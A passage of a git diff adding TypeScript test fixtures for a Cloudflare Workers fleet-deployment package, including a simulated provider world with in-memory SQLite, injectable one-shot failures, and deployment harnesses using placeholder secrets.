world.applyAfter('uploadCandidate'); + else await world.applyAfter('disablePublicAccess'); + if (failure) return failure.response ?? failureResponse(failure); return single({ enabled: script.subdomain.enabled }); } if (target.pathname.endsWith('/deployments') && method === 'POST') { const versions = bodyField('versions'); - script.deployment = Array.isArray(versions) + const deployment = Array.isArray(versions) ? versions.map((version) => ({ versionId: readStringFact(version, 'version_id') ?? '', percentage: Number(Reflect.get(version, 'percentage')), })) : []; + const operation = + deployment.length === 1 && deployment[0]?.percentage === 100 + ? 'promoteWorker' + : 'deployCandidate'; + const failure = world.consumeFailure(operation); + if (failure && !failure.dispatched) return failureResponse(failure); + world.applyDeployment(scriptName, deployment); + await world.applyAfter(operation); + if (failure) return failureResponse(failure); return single({ id: 'deployment' }); } throw new Error(`unexpected request ${method} ${target.pathname}`); }; } +function failureResponse(failure: { readonly error?: Error }): Response { + return failedResponse(failure.error?.message); +} + +function failedResponse(message = 'injected provider failure'): Response { + return Response.json( + { + success: false, + errors: [{ code: 1, message }], + }, + { status: 400 }, + ); +} + function readVersionTag(metadata: unknown): string | undefined { if (!metadata || typeof metadata !== 'object') return undefined; const annotations = Reflect.get(metadata, 'annotations'); @@ -476,3 +785,35 @@ function readBindings(metadata: unknown): readonly unknown[] { const bindings = Reflect.get(metadata, 'bindings'); return Array.isArray(bindings) ? bindings : []; } + +function readStringArray(value: unknown, name: string): readonly string[] { + if (!value || typeof value !== 'object') return []; + const values = Reflect.get(value, name); + return Array.isArray(values) + ? values.flatMap((item) => (typeof item === 'string' ? [item] : [])) + : []; +} + +function readModules(body: unknown): readonly { + name: string; + content: string; + contentType: string; +}[] { + if (!body || typeof body !== 'object') return []; + const files = Reflect.get(body, 'files'); + if (!Array.isArray(files)) return []; + return files.flatMap((file) => { + const name = readStringFact(file, 'name'); + const content = readStringFact(file, 'text'); + const contentType = readStringFact(file, 'type'); + return name && content !== undefined + ? [ + { + name, + content, + contentType: contentType ?? 'application/javascript+module', + }, + ] + : []; + }); +} diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts new file mode 100644 index 00000000..ba78f490 --- /dev/null +++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts @@ -0,0 +1,445 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtempSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { CloudflareApiPlainWorkerBackend } from '../../src/cloudflare-api-plain-worker-backend.js'; +import { + CloudflareProvisioningClient, + type DurableDatabaseExportStore, +} from '../../src/cloudflare-client.js'; +import { plainWorkerIngressModule } from '../../src/plain-worker-backend.js'; +import { uploadIntentToProviderBindings } from '../../src/provider-binding-inventory.js'; +import { deploymentSpecDigest } from '../../src/spec-digest.js'; +import type { + DeploymentSecrets, + DeploymentSpec, + FleetRecord, + FleetStateLease, + FleetStateStore, + PlainWorkerUploadIntent, + ProvisioningBackend, +} from '../../src/types.js'; +import { WranglerLoopBackend } from '../../src/wrangler-loop-backend.js'; +import { + recordingFetch, + restProjection, + testRateCoordinator, +} from './cloudflare-fetch-fixture.js'; +import { type ProviderWorld, providerWorld } from './provider-world.js'; +import { cliProjection } from './wrangler-world-projection.js'; + +export const sharedSecrets: DeploymentSecrets = { + deploymentIdentity: 'deployment-identity-secret-value-0001', + maintenanceAdmin: 'maintenance-admin-secret-value-00001', + application: {}, +}; + +export const routeAttestation = { + convergenceBudgetMs: 1_000, + initialRetryDelayMs: 1, +}; + +export function initialSpec(): DeploymentSpec { + return buildPlainWorkerSpec({ + schemaVersion: 1, + migrations: [ + { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' }, + ], + }); +} + +export function migrationSpec( + overrides: Partial = {}, +): DeploymentSpec { + return buildPlainWorkerSpec({ previousDurableObjectTag: 'v1', ...overrides }); +} + +export async function captureFailure( + promise: Promise, +): Promise { + try { + await promise; + } catch (error) { + return error; + } + throw new Error('expected operation to fail'); +} + +export async function ignoreFailure(promise: Promise): Promise { + await captureFailure(promise); +} + +export function errorChain(error: unknown): string { + return causeChain(error) + .flatMap((cause) => (cause instanceof Error ? [cause.message] : [])) + .join(' | '); +} + +export function causeChain(error: unknown): readonly unknown[] { + const causes: unknown[] = []; + let current = error; + while (current instanceof Error) { + causes.push(current); + current = current.cause; + } + if (current !== undefined) causes.push(current); + return causes; +} + +export function buildPlainWorkerSpec( + overrides: Partial = {}, +): DeploymentSpec { + return { + tenantTag: 'acme', + environment: 'production', + scriptName: 'acme-production', + databaseName: 'acme-production', + compatibilityDate: '2026-08-27', + compatibilityFlags: ['nodejs_compat'], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'platform', + schemaVersion: 2, + migrations: [ + { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' }, + { + version: 2, + sql: 'ALTER TABLE example ADD COLUMN value TEXT', + rollbackCompatible: true, + }, + ], + durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }], + durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }], + maintenanceBaseUrl: 'https://control-acme.example.test', + routeHostname: 'acme.example.test', + application: { vars: [], secrets: [], r2Buckets: [] }, + ...overrides, + }; +} + +export function uploadIntentForSpec( + spec: DeploymentSpec, + databaseId: string, + mode: 'initial' | 'staged', + secrets: DeploymentSecrets = sharedSecrets, +): PlainWorkerUploadIntent { + const ingress = plainWorkerIngressModule(spec); + const base = { + scriptName: spec.scriptName, + candidateTag: deploymentSpecDigest(spec), + mainModule: ingress.name, + modules: [...spec.modules, ingress], + compatibilityDate: spec.compatibilityDate, + compatibilityFlags: spec.compatibilityFlags, + bindings: { + plainText: [ + { name: 'DEPLOYMENT_TENANT', value: spec.tenantTag }, + { name: 'FLEET_ENVIRONMENT', value: spec.environment }, + { name: 'FLEET_SCHEMA_VERSION', value: String(spec.schemaVersion) }, + { name: 'FLEET_SPEC_DIGEST', value: deploymentSpecDigest(spec) }, + { name: 'FLEET_INGRESS_CONTRACT', value: 'guarded-object-v1' }, + ...(spec.application?.vars ?? []), + ], + secrets: [ + { + name: 'DEPLOYMENT_IDENTITY_SECRET', + value: secrets.deploymentIdentity, + }, + { name: 'MAINTENANCE_ADMIN_SECRET', value: secrets.maintenanceAdmin }, + ...Object.entries(secrets.application ?? {}).map(([name, value]) => ({ + name, + value, + })), + ], + d1: [{ name: 'DB', databaseId, databaseName: spec.databaseName }], + durableObjects: spec.durableObjectBindings.map(({ name, className }) => ({ + name, + className, + })), + services: spec.egressProxyService + ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] + : [], + queueProducers: spec.queueProducer + ? [ + { + name: spec.queueProducer.binding, + queueName: spec.queueProducer.queueName, + }, + ] + : [], + r2Buckets: [], + }, + limits: { cpuMs: spec.cpuLimitMs }, + publicAccess: { + workersDevEnabled: true, + previewUrlsEnabled: false, + }, + }; + return mode === 'initial' + ? { + ...base, + mode, + durableObjectMigrations: spec.durableObjectMigrations, + } + : { ...base, mode }; +} + +export function seedWorkerFromSpec( + world: ProviderWorld, + options: { + readonly spec?: DeploymentSpec; + readonly databaseId?: string; + readonly mode?: 'initial' | 'staged'; + readonly secrets?: DeploymentSecrets; + } = {}, +) { + const spec = options.spec ?? buildPlainWorkerSpec(); + const databaseId = options.databaseId ?? 'database-1'; + if (!world.databases.some((database) => database.databaseId === databaseId)) { + world.seedDatabase(spec.databaseName, { databaseId }); + } + const intent = uploadIntentForSpec( + spec, + databaseId, + options.mode ?? 'initial', + options.secrets, + ); + return world.applyUpload({ + scriptName: intent.scriptName, + mode: intent.mode, + tag: intent.candidateTag, + bindings: uploadIntentToProviderBindings(intent), + mainModule: intent.mainModule, + modules: intent.modules, + publicAccess: intent.publicAccess, + }); +} + +export class HarnessFleetStore implements FleetStateStore { + record: FleetRecord | undefined; + failPutPhase: FleetRecord['phase'] | undefined; + readonly phases: FleetRecord['phase'][] = []; + readonly snapshots: Array<{ + readonly record: FleetRecord; + readonly world: ProviderWorld; + }> = []; + #leased = false; + readonly #snapshot: boolean; + + constructor( + readonly world: ProviderWorld, + initial?: FleetRecord, + options: { readonly snapshot?: boolean } = {}, + ) { + this.record = initial ? structuredClone(initial) : undefined; + this.#snapshot = options.snapshot === true; + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + operation: (lease: FleetStateLease) => Promise, + ): Promise { + if (this.#leased) throw new Error('deployment is already being modified'); + this.#leased = true; + try { + return await operation({ + tenantTag, + environment, + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + renew: async () => {}, + put: (record) => this.put(record), + delete: () => this.delete(), + }); + } finally { + this.#leased = false; + } + } + + async get(): Promise { + return this.record ? structuredClone(this.record) : undefined; + } + + async list(): Promise { + return this.record ? [structuredClone(this.record)] : []; + } + + async put(record: FleetRecord): Promise { + if (this.failPutPhase === record.phase) { + this.failPutPhase = undefined; + throw new Error(`failed state write at ${record.phase}`); + } + this.record = structuredClone(record); + this.phases.push(record.phase); + if (this.#snapshot) { + this.snapshots.push({ + record: structuredClone(record), + world: this.world.clone(), + }); + } + } + + async delete(): Promise { + this.record = undefined; + } +} + +export class HarnessExportStore implements DurableDatabaseExportStore { + readonly exports = new Map< + string, + { readonly fileName: string; readonly bytes: Uint8Array } + >(); + + async write(input: { + readonly databaseId: string; + readonly fileName: string; + readonly body: ReadableStream; + }): Promise<{ location: string; size: number; sha256: string }> { + const chunks: Uint8Array[] = []; + const reader = input.body.getReader(); + for (;;) { + const chunk = await reader.read(); + if (chunk.done) break; + chunks.push(chunk.value); + } + const bytes = Buffer.concat(chunks); + this.exports.set(input.databaseId, { + fileName: input.fileName, + bytes: new Uint8Array(bytes), + }); + return { + location: `memory://fleet-exports/${input.databaseId}/${input.fileName}`, + size: bytes.byteLength, + sha256: createHash('sha256').update(bytes).digest('hex'), + }; + } +} + +type ProjectedFetch = ReturnType; + +export function plainOnlyClient( + projected: ProjectedFetch, + exportStore: DurableDatabaseExportStore, +): CloudflareProvisioningClient { + return new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: projected.fetch, + requestTimeoutMs: 10_000, + exportStore, + }); +} + +export interface PlainWorkerHarness { + readonly backend: ProvisioningBackend; + readonly world: ProviderWorld; + readonly exportStore: HarnessExportStore; + readonly store: HarnessFleetStore; + readonly exportDirectory?: string; +} + +interface PlainWorkerHarnessOptions { + readonly maintenanceRequestTimeoutMs?: number; + readonly snapshot?: boolean; +} + +const liveWorlds = new Set(); + +export function assertHarnessFailuresConsumed(): void { + const pending = [...liveWorlds].flatMap((world, index) => { + const hooks = world.pendingHookNames(); + return hooks.length === 0 ? [] : [`world ${index}: ${hooks.join(', ')}`]; + }); + liveWorlds.clear(); + if (pending.length > 0) { + throw new Error(`unconsumed provider hooks: ${pending.join('; ')}`); + } +} + +export function wranglerHarness( + world: ProviderWorld = providerWorld(), + options: PlainWorkerHarnessOptions = {}, +): PlainWorkerHarness & { readonly exportDirectory: string } { + const exportStore = new HarnessExportStore(); + const projected = recordingFetch(restProjection(world)); + const client = plainOnlyClient(projected, exportStore); + const exportDirectory = mkdtempSync( + join(tmpdir(), 'fleet-conformance-export-'), + ); + liveWorlds.add(world); + return { + backend: new WranglerLoopBackend({ + runner: cliProjection(world), + routeApi: client, + fetch: projected.fetch, + exportDirectory, + exportStore, + maintenanceRequestTimeoutMs: + options.maintenanceRequestTimeoutMs ?? 60_000, + }), + world, + exportStore, + store: new HarnessFleetStore(world, undefined, { + snapshot: options.snapshot, + }), + exportDirectory, + }; +} + +export function directHarness( + world: ProviderWorld = providerWorld(), + options: PlainWorkerHarnessOptions = {}, +): PlainWorkerHarness { + const exportStore = new HarnessExportStore(); + const projected = recordingFetch(restProjection(world)); + const client = plainOnlyClient(projected, exportStore); + liveWorlds.add(world); + return { + backend: new CloudflareApiPlainWorkerBackend({ + client, + fetch: projected.fetch, + maintenanceRequestTimeoutMs: + options.maintenanceRequestTimeoutMs ?? 60_000, + }), + world, + exportStore, + store: new HarnessFleetStore(world, undefined, { + snapshot: options.snapshot, + }), + }; +} + +export function hostileCauseProxy(): object { + return new Proxy( + {}, + { + getPrototypeOf() { + throw new Error('hostile getPrototypeOf trap'); + }, + }, + ); +} + +export function malformedErrorsBody(): Response { + return Response.json( + { success: false, errors: { message: 'not an array' } }, + { status: 400 }, + ); +} + +export function throwingConstructorError( + message = 'hostile constructor getter', +): Error { + const error = new Error(message); + Object.defineProperty(error, 'constructor', { + get() { + throw new Error('constructor access refused'); + }, + }); + return error; +} diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts new file mode 100644 index 00000000..34cbddcb --- /dev/null +++ b/packages/fleet-control/test/fixtures/provider-world.ts @@ -0,0 +1,669 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { WorkerModule } from '../../src/types.js'; + +interface SqliteStatement { + all(...params: unknown[]): unknown[]; +} + +interface SqliteDatabase { + prepare(sql: string): SqliteStatement; + exec(sql: string): void; +} + +interface RecordedStatement { + readonly sql: string; + readonly bindings: readonly string[]; + readonly mode: 'prepare' | 'exec'; +} + +function openSqlite(): SqliteDatabase { + // getBuiltinModule avoids vite's resolver, which cannot resolve node:sqlite; + // node:sqlite has been unflagged since Node 22.13. + const getBuiltin = ( + globalThis as { + process?: { getBuiltinModule?: (id: string) => unknown }; + } + ).process?.getBuiltinModule; + if (!getBuiltin) { + throw new Error('node:sqlite unavailable — tests require node >= 22.13'); + } + const sqlite = getBuiltin('node:sqlite') as { + DatabaseSync: new (path: string) => SqliteDatabase; + }; + return new sqlite.DatabaseSync(':memory:'); +} + +export class D1State { + readonly #database = openSqlite(); + readonly #statementLog: RecordedStatement[] = []; + + queryDatabase( + sql: string, + bindings: readonly string[] = [], + ): readonly Readonly>[] { + const rows = this.#database.prepare(sql).all(...bindings); + this.#statementLog.push({ sql, bindings: [...bindings], mode: 'prepare' }); + return rows.flatMap((row) => + row && typeof row === 'object' + ? [row as Readonly>] + : [], + ); + } + + batchDatabase( + statements: readonly { + readonly sql: string; + readonly bindings?: readonly string[]; + }[], + ): void { + const recorded: RecordedStatement[] = []; + this.#database.exec('BEGIN'); + try { + for (const statement of statements) { + const bindings = statement.bindings ?? []; + if (bindings.length === 0) { + this.#database.exec(statement.sql); + recorded.push({ + sql: statement.sql, + bindings: [], + mode: 'exec', + }); + } else { + this.#database.prepare(statement.sql).all(...bindings); + recorded.push({ + sql: statement.sql, + bindings: [...bindings], + mode: 'prepare', + }); + } + } + this.#database.exec('COMMIT'); + this.#statementLog.push(...recorded); + } catch (error) { + this.#database.exec('ROLLBACK'); + throw error; + } + } + + clone(): D1State { + const cloned = new D1State(); + for (const statement of this.#statementLog) { + if (statement.mode === 'exec') { + cloned.#database.exec(statement.sql); + } else { + cloned.#database.prepare(statement.sql).all(...statement.bindings); + } + cloned.#statementLog.push({ + ...statement, + bindings: [...statement.bindings], + }); + } + return cloned; + } +} + +export interface ProviderVersion { + readonly versionId: string; + readonly tag: string | undefined; + readonly bindings: readonly unknown[]; + readonly mainModule: string; + readonly modules: readonly WorkerModule[]; +} + +export interface ProviderScript { + present: boolean; + versions: ProviderVersion[]; + deployment?: Array<{ versionId: string; percentage: number }>; + subdomain: { enabled: boolean; previewsEnabled: boolean }; + secretNames: Set; +} + +export interface ProviderDatabase { + readonly databaseId: string; + readonly name: string; + readonly d1: D1State; +} + +export interface ProviderUpload { + readonly scriptName: string; + readonly mode: 'initial' | 'staged'; + readonly tag: string | undefined; + readonly bindings: readonly unknown[]; + readonly mainModule: string; + readonly modules: readonly WorkerModule[]; + readonly publicAccess?: { + readonly workersDevEnabled: boolean; + readonly previewUrlsEnabled: boolean; + }; +} + +/** A one-shot provider failure at a logical backend operation boundary. */ +export interface ProviderFailure { + /** + * Whether the selected request commits before its response is lost. A + * non-dispatched failure settles without its own handler recording a + * mutation. The CLI projection throws a supplied `error` from every + * operation it serves; on the REST projection only the two upload handlers + * do, because the upload dispatch is the sanitizer's one call site + * (`sanitizeProviderError` inside `dispatchOrdinaryWorkerUpload`) and a + * returned 400 would erase the injected message there. The other REST + * handlers uniformly answer a non-retryable 400, because an endpoint on the + * client's default `maxRetries` budget would otherwise retry a thrown error + * and commit the mutation on the retry, with the one-shot hook already + * consumed. + */ + readonly dispatched: boolean; + readonly duplicate?: boolean; + readonly error?: Error; + /** REST-only; honoured by upload handlers and rejected by the CLI projection. */ + readonly response?: Response; + /** + * Selects where a DISPATCHED REST initial upload settles: the public-access + * POST by default (both mutations committed, the response lost) or `script` + * (the script PUT committed, public access left unchanged). The initial + * script PUT refuses `{ dispatched: false, at: 'public-access' }` and + * settles any other non-dispatched failure before it records the upload. + * The staged versions POST never reads this selector and settles a + * non-dispatched failure before it records the version; the direct client + * may already have converged public access for that staged upload. A + * supplied `error` is thrown from the fetch at `script`, at the dispatched + * staged versions POST, and at both non-dispatched upload sites; each of + * those throws happens inside `send()` with `maxRetries: 0`, so the SDK + * wraps it as `APIConnectionError`, whose cause chain the sanitizer + * rebuilds rather than collapsing. It is refused at the public-access POST, + * which is outside the sanitizer and keeps the SDK's retries. The CLI lane + * ignores this selector because one deploy command commits the complete + * operation. + */ + readonly at?: 'script' | 'public-access'; +} + +export interface WorkerRoute { + readonly zoneId: string; + readonly id: string; + readonly pattern: string; + readonly script: string; +} + +type AfterEffect = (world: ProviderWorld) => void | Promise; + +class WorldAllocators { + #counters = new Map(); + + versionId(world: ProviderWorld): string { + return this.#next( + 'version', + new Set( + [...world.scripts.values()].flatMap(({ versions }) => + versions.map(({ versionId }) => versionId), + ), + ), + ); + } + + namespaceId(world: ProviderWorld): string { + return this.#next( + 'namespace', + new Set(world.durableObjectNamespaces.map(({ id }) => id)), + ); + } + + databaseId(world: ProviderWorld): string { + return this.#next( + 'database', + new Set(world.databases.map(({ databaseId }) => databaseId)), + ); + } + + domainId(world: ProviderWorld): string { + return this.#next( + 'domain', + new Set(world.customDomains.map(({ id }) => id)), + ); + } + + clone(): WorldAllocators { + const cloned = new WorldAllocators(); + cloned.#counters = new Map(this.#counters); + return cloned; + } + + #next(prefix: string, occupied: Set): string { + for (;;) { + const next = (this.#counters.get(prefix) ?? 0) + 1; + this.#counters.set(prefix, next); + const candidate = `${prefix}-${next}`; + if (!occupied.has(candidate)) return candidate; + } + } +} + +function cloneModule(module: WorkerModule): WorkerModule { + return { + ...module, + content: + module.content instanceof Uint8Array + ? new Uint8Array(module.content) + : module.content, + }; +} + +function cloneBinding(binding: unknown): unknown { + return structuredClone(binding); +} + +function stringField(value: unknown, field: string): string | undefined { + if (!value || typeof value !== 'object') return undefined; + const candidate = Reflect.get(value, field); + return typeof candidate === 'string' ? candidate : undefined; +} + +function bindingType(value: unknown): string | undefined { + return stringField(value, 'type'); +} + +function secretNamesFrom(bindings: readonly unknown[]): Set { + return new Set( + bindings.flatMap((binding) => { + const name = stringField(binding, 'name'); + return bindingType(binding) === 'secret_text' && name ? [name] : []; + }), + ); +} + +export class ProviderWorld { + readonly scripts = new Map(); + readonly databases: ProviderDatabase[] = []; + readonly customDomains: Array<{ + id: string; + hostname: string; + service: string; + }> = []; + readonly zones: Array<{ id: string }> = []; + readonly routes: WorkerRoute[] = []; + readonly durableObjectNamespaces: Array<{ + id: string; + script: string; + className: string; + }> = []; + readonly dispatchNamespaces: Array<{ + name: string; + scripts: Array<{ name: string; bindings: readonly unknown[] }>; + }> = []; + readonly exports = new Map(); + readonly mutationLog: string[] = []; + maintenanceOrigin = 'https://control-acme.example.test'; + routeOrigin = 'https://acme.example.test'; + #allocators = new WorldAllocators(); + readonly #failures = new Map(); + readonly #afterEffects = new Map(); + readonly #deferredFailures = new Set(); + + failNext(operation: string, failure: ProviderFailure): void { + if (this.#failures.has(operation)) { + throw new Error(`failure already registered for '${operation}'`); + } + this.#failures.set(operation, { ...failure }); + } + + afterNext(operation: string, effect: AfterEffect): void { + if (this.#afterEffects.has(operation)) { + throw new Error(`after-effect already registered for '${operation}'`); + } + this.#afterEffects.set(operation, effect); + } + + consumeFailure(operation: string): ProviderFailure | undefined { + const failure = this.#failures.get(operation); + this.#failures.delete(operation); + this.#deferredFailures.delete(operation); + return failure; + } + + peekFailure(operation: string): ProviderFailure | undefined { + return this.#failures.get(operation); + } + + deferFailure(operation: string): void { + if (!this.#failures.has(operation)) { + throw new Error(`cannot defer missing failure '${operation}'`); + } + this.#deferredFailures.add(operation); + } + + consumeDeferredFailure(operation: string): ProviderFailure | undefined { + if (!this.#deferredFailures.has(operation)) return undefined; + return this.consumeFailure(operation); + } + + pendingHookNames(): readonly string[] { + return [ + ...[...this.#failures.keys()].map((name) => `failure:${name}`), + ...[...this.#afterEffects.keys()].map((name) => `after:${name}`), + ].sort(); + } + + async applyAfter(operation: string): Promise { + const effect = this.#afterEffects.get(operation); + this.#afterEffects.delete(operation); + await effect?.(this); + } + + createDatabase(name: string, databaseId = this.#allocators.databaseId(this)) { + const database = this.#insertDatabase(name, databaseId); + this.mutationLog.push(`create-database:${databaseId}`); + return database; + } + + seedDatabase( + name: string, + options: { + readonly databaseId?: string; + readonly exportBytes?: Uint8Array; + } = {}, + ): ProviderDatabase { + const database = this.#insertDatabase( + name, + options.databaseId ?? this.#allocators.databaseId(this), + ); + if (options.exportBytes) { + this.exports.set( + database.databaseId, + new Uint8Array(options.exportBytes), + ); + } + return database; + } + + seedScript( + scriptName: string, + script: Omit & + Partial>, + ): ProviderScript { + const seeded: ProviderScript = { + present: script.present ?? true, + versions: script.versions.map((version) => ({ + ...version, + bindings: version.bindings.map(cloneBinding), + modules: version.modules.map(cloneModule), + })), + ...(script.deployment + ? { deployment: script.deployment.map((version) => ({ ...version })) } + : {}), + subdomain: { ...script.subdomain }, + secretNames: + script.secretNames ?? + secretNamesFrom(script.versions[0]?.bindings ?? []), + }; + this.scripts.set(scriptName, seeded); + return seeded; + } + + applyUpload(upload: ProviderUpload, options: { duplicate?: boolean } = {}) { + const script = this.scripts.get(upload.scriptName) ?? { + present: true, + versions: [], + subdomain: { enabled: false, previewsEnabled: false }, + secretNames: new Set(), + }; + script.present = true; + const count = options.duplicate ? 2 : 1; + const versions: ProviderVersion[] = []; + for (let index = 0; index < count; index += 1) { + const bindings = upload.bindings.map((binding) => { + const cloned = cloneBinding(binding); + if ( + bindingType(cloned) !== 'durable_object_namespace' || + !cloned || + typeof cloned !== 'object' + ) { + return cloned; + } + const className = stringField(cloned, 'class_name'); + if (!className) return cloned; + let namespace = this.durableObjectNamespaces.find( + (candidate) => + candidate.script === upload.scriptName && + candidate.className === className, + ); + if (!namespace) { + namespace = { + id: this.#allocators.namespaceId(this), + script: upload.scriptName, + className, + }; + this.durableObjectNamespaces.push(namespace); + } + Reflect.set(cloned, 'namespace_id', namespace.id); + return cloned; + }); + const version = { + versionId: this.#allocators.versionId(this), + tag: upload.tag, + bindings, + mainModule: upload.mainModule, + modules: upload.modules.map(cloneModule), + }; + script.versions.unshift(version); + versions.push(version); + } + script.secretNames = secretNamesFrom(versions[0]?.bindings ?? []); + if (upload.mode === 'initial') { + script.deployment = [ + { versionId: versions[0]?.versionId ?? '', percentage: 100 }, + ]; + } + if (upload.publicAccess) { + // wrangler deploy applies workers_dev and preview_urls from its config in + // the same command, so only uploads carrying that config write this state. + script.subdomain = { + enabled: upload.publicAccess.workersDevEnabled, + previewsEnabled: upload.publicAccess.previewUrlsEnabled, + }; + } + this.scripts.set(upload.scriptName, script); + this.mutationLog.push(`upload:${upload.scriptName}`); + return versions; + } + + allocateDomainId(): string { + return this.#allocators.domainId(this); + } + + deleteScript(scriptName: string): void { + const script = this.scripts.get(scriptName); + if (script) { + script.present = false; + script.versions.length = 0; + delete script.deployment; + script.secretNames.clear(); + script.subdomain = { enabled: false, previewsEnabled: false }; + } + this.removeScriptNamespaces(scriptName); + this.mutationLog.push(`delete-script:${scriptName}`); + } + + applyDeployment( + scriptName: string, + deployment: readonly { + readonly versionId: string; + readonly percentage: number; + }[], + ): 'deploy' | 'deploy-candidate' { + const script = this.scripts.get(scriptName); + if (!script) throw new Error(`cannot deploy absent Worker '${scriptName}'`); + script.deployment = deployment.map((version) => ({ ...version })); + const operation = + deployment.length === 1 && deployment[0]?.percentage === 100 + ? 'deploy' + : 'deploy-candidate'; + this.mutationLog.push(`${operation}:${scriptName}`); + return operation; + } + + removeScriptNamespaces(scriptName: string): void { + for ( + let index = this.durableObjectNamespaces.length - 1; + index >= 0; + index -= 1 + ) { + if (this.durableObjectNamespaces[index]?.script === scriptName) { + this.durableObjectNamespaces.splice(index, 1); + } + } + } + + clone(): ProviderWorld { + const cloned = new ProviderWorld(); + cloned.maintenanceOrigin = this.maintenanceOrigin; + cloned.routeOrigin = this.routeOrigin; + cloned.#allocators = this.#allocators.clone(); + for (const [name, script] of this.scripts) { + cloned.seedScript(name, { + present: script.present, + versions: script.versions, + ...(script.deployment ? { deployment: script.deployment } : {}), + subdomain: script.subdomain, + secretNames: new Set(script.secretNames), + }); + } + cloned.databases.push( + ...this.databases.map(({ databaseId, name, d1 }) => ({ + databaseId, + name, + d1: d1.clone(), + })), + ); + cloned.customDomains.push( + ...this.customDomains.map((domain) => ({ ...domain })), + ); + cloned.zones.push(...this.zones.map((zone) => ({ ...zone }))); + cloned.routes.push(...this.routes.map((route) => ({ ...route }))); + cloned.durableObjectNamespaces.push( + ...this.durableObjectNamespaces.map((namespace) => ({ ...namespace })), + ); + cloned.dispatchNamespaces.push( + ...this.dispatchNamespaces.map((namespace) => ({ + name: namespace.name, + scripts: namespace.scripts.map((script) => ({ + name: script.name, + bindings: script.bindings.map(cloneBinding), + })), + })), + ); + for (const [databaseId, bytes] of this.exports) { + cloned.exports.set(databaseId, new Uint8Array(bytes)); + } + cloned.mutationLog.push(...this.mutationLog); + for (const [operation, failure] of this.#failures) { + cloned.#failures.set(operation, { ...failure }); + } + for (const [operation, effect] of this.#afterEffects) { + cloned.#afterEffects.set(operation, effect); + } + for (const operation of this.#deferredFailures) { + cloned.#deferredFailures.add(operation); + } + return cloned; + } + + #insertDatabase(name: string, databaseId: string): ProviderDatabase { + const database = { databaseId, name, d1: new D1State() }; + this.databases.push(database); + this.exports.set( + databaseId, + new TextEncoder().encode('CREATE TABLE example (id TEXT PRIMARY KEY);\n'), + ); + return database; + } +} + +export function providerWorld(): ProviderWorld { + return new ProviderWorld(); +} + +function versionDigest( + version: ProviderVersion | undefined, +): string | undefined { + return version?.bindings.flatMap((binding) => + bindingType(binding) === 'plain_text' && + stringField(binding, 'name') === 'FLEET_SPEC_DIGEST' + ? [stringField(binding, 'text')] + : [], + )[0]; +} + +function maintenanceBody(digest: string | undefined): Response { + return Response.json({ + alarmAt: 2_000, + lastSweepAt: 1_000, + lastPurgeAt: 1_000, + ...(digest ? { deploymentSpecDigest: digest } : {}), + }); +} + +export async function maintenanceResponder( + world: ProviderWorld, + request: { + readonly method: string; + readonly url: string; + readonly headers: Headers; + }, +): Promise { + const target = new URL(request.url); + if (target.origin !== world.maintenanceOrigin) return undefined; + const override = request.headers.get('Cloudflare-Workers-Version-Overrides'); + const match = override?.match(/^([^=]+)="([^"]+)"$/u); + const routedScript = world.customDomains.find( + ({ hostname }) => hostname === new URL(world.routeOrigin).hostname, + )?.service; + const scriptName = + match?.[1] ?? + routedScript ?? + [...world.scripts.entries()].find( + ([, candidate]) => candidate.present, + )?.[0]; + const state = scriptName ? world.scripts.get(scriptName) : undefined; + if (!scriptName || !state?.present) return maintenanceBody(undefined); + if ( + request.method === 'POST' && + target.pathname === '/admin/ensure-maintenance' + ) { + const failure = world.consumeFailure('ensureMaintenance'); + if (failure && !failure.dispatched) { + return new Response( + failure.error?.message ?? 'injected maintenance failure', + { status: 400 }, + ); + } + const version = + match?.[1] === scriptName + ? state.versions.find(({ versionId }) => versionId === match[2]) + : undefined; + await world.applyAfter('ensureMaintenance'); + if (failure) { + return new Response( + failure.error?.message ?? 'injected maintenance failure', + { status: 400 }, + ); + } + return maintenanceBody(versionDigest(version)); + } + if ( + request.method === 'GET' && + target.pathname === '/admin/maintenance-status' + ) { + const activeId = state.deployment?.find( + ({ percentage }) => percentage === 100, + )?.versionId; + const active = state.versions.find(({ versionId }) => + match?.[1] === scriptName + ? versionId === match[2] + : versionId === activeId, + ); + await world.applyAfter('readMaintenance'); + return maintenanceBody(versionDigest(active)); + } + return new Response('maintenance endpoint refused', { status: 404 }); +} diff --git a/packages/fleet-control/test/fixtures/wrangler-world-projection.ts b/packages/fleet-control/test/fixtures/wrangler-world-projection.ts new file mode 100644 index 00000000..51ad0673 --- /dev/null +++ b/packages/fleet-control/test/fixtures/wrangler-world-projection.ts @@ -0,0 +1,454 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { readdir, readFile, stat, writeFile } from 'node:fs/promises'; +import { basename, dirname, join, relative } from 'node:path'; +import type { WorkerModule } from '../../src/types.js'; +import type { + CommandResult, + CommandRunner, +} from '../../src/wrangler-runner.js'; +import type { ProviderFailure, ProviderWorld } from './provider-world.js'; + +const dynamicArgument = Symbol('dynamicArgument'); +type ExpectedArgument = string | typeof dynamicArgument; + +class WranglerArgvContractError extends Error { + declare readonly received: readonly string[]; + + constructor( + command: string, + expected: readonly ExpectedArgument[], + actual: readonly string[], + ) { + super( + `Wrangler argv contract for ${command}: expected ${JSON.stringify( + expected.map((value) => + value === dynamicArgument ? '' : value, + ), + )}`, + ); + this.name = 'WranglerArgvContractError'; + Object.defineProperty(this, 'received', { + value: [...actual], + enumerable: false, + }); + } +} + +function assertArgv( + command: string, + actual: readonly string[], + expected: readonly 